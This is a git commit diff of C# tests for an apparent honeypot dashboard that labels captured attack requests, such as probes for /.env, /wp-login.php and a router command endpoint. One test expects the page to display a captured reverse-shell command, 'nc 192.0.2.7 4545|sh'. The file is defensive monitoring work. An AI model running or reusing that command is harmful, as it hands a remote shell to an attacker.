Say in plain words what was called and drop the command card
The column "Aufgerufen" hides the requested host and GET and names other methods; the top list counts a call across hosts. Changelog prepared for 0.11.2. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
1 parent
46f70c9065
commit
b168d1124d
10 files changed
+148
-74
No files matched your search
@@ -49,6 +49,28 @@ public sealed class RecentCatchesTests : IDisposable
|
||||
recent.Total.ShouldBe(expected);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task A_call_is_counted_and_filtered_across_all_requested_hosts()
|
||||
{
|
||||
using (var db = _data.Factory.CreateDbContext())
|
||||
{
|
||||
foreach (var target in new[] { "OPTIONS a.example/", "OPTIONS 192.0.2.1:8080/", "OPTIONS b.example/sub/", "OPTIONS b.example/?x=/" })
|
||||
{
|
||||
var started = McpTestData.Now.AddMinutes(-5);
|
||||
db.TrapEvents.Add(TrapEventEntity.From(new TrapEvent(
|
||||
Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse("203.0.113.77"), "maze-drip", started, started.AddSeconds(1), 1, TrapOutcome.ClientAborted, target, null)));
|
||||
}
|
||||
|
||||
db.SaveChanges();
|
||||
}
|
||||
|
||||
var top = (await _queries.GetAsync()).TopTargets;
|
||||
|
||||
top.Single(e => e.Key == "OPTIONS /").Count.ShouldBe(2);
|
||||
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS /"))).Total.ShouldBe(2);
|
||||
(await _queries.GetRecentAsync(new RecentFilter(Target: "OPTIONS a.example/"))).Total.ShouldBe(1);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task Unexplained_filter_keeps_only_targets_without_an_enabled_target_rule()
|
||||
{
|
||||
|
||||
@@ -16,11 +16,20 @@ public sealed class FormattingTests
|
||||
Formatting.Target(target).ShouldBe(expected);
|
||||
|
||||
[Theory]
|
||||
[InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")]
|
||||
[InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")]
|
||||
[InlineData("GET /x", "GET /x")]
|
||||
public void Shows_the_request_path_without_the_host(string target, string expected) =>
|
||||
Formatting.RequestPath(target).ShouldBe(expected);
|
||||
[InlineData("GET 192.0.2.1/", "Startseite", null)]
|
||||
[InlineData("GET example.com:8080/.env", "/.env", null)]
|
||||
[InlineData("GET /?a=/b", "/?a=/b", null)]
|
||||
[InlineData("OPTIONS h/", "Startseite", "fragt, was erlaubt ist")]
|
||||
[InlineData("HEAD h/www.zip", "/www.zip", "prüft nur, ob es das gibt")]
|
||||
[InlineData("POST h/wp-login.php", "/wp-login.php", "schickt Daten")]
|
||||
[InlineData("PROPFIND h/", "Startseite", "PROPFIND")]
|
||||
public void Describes_what_was_called_without_the_host(string target, string text, string? note)
|
||||
{
|
||||
var called = Formatting.Called(target);
|
||||
|
||||
called.Text.ShouldBe(text);
|
||||
called.Note.ShouldBe(note);
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
||||
|
||||
@@ -45,7 +45,8 @@ public sealed partial class RequestViewTests : IDisposable
|
||||
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
|
||||
|
||||
var page = await client.GetStringAsync("/");
|
||||
page.ShouldContain("Eingeschleuste Befehle");
|
||||
page.ShouldNotContain("trapEvent.Target");
|
||||
page.ShouldContain("schickt Daten");
|
||||
page.ShouldContain("192.0.2.7, Port 4545");
|
||||
page.ShouldContain("Fremder Server");
|
||||
page.ShouldContain("nc 192.0.2.7 4545|sh");
|
||||
|
||||
Reference in new issue
Block a user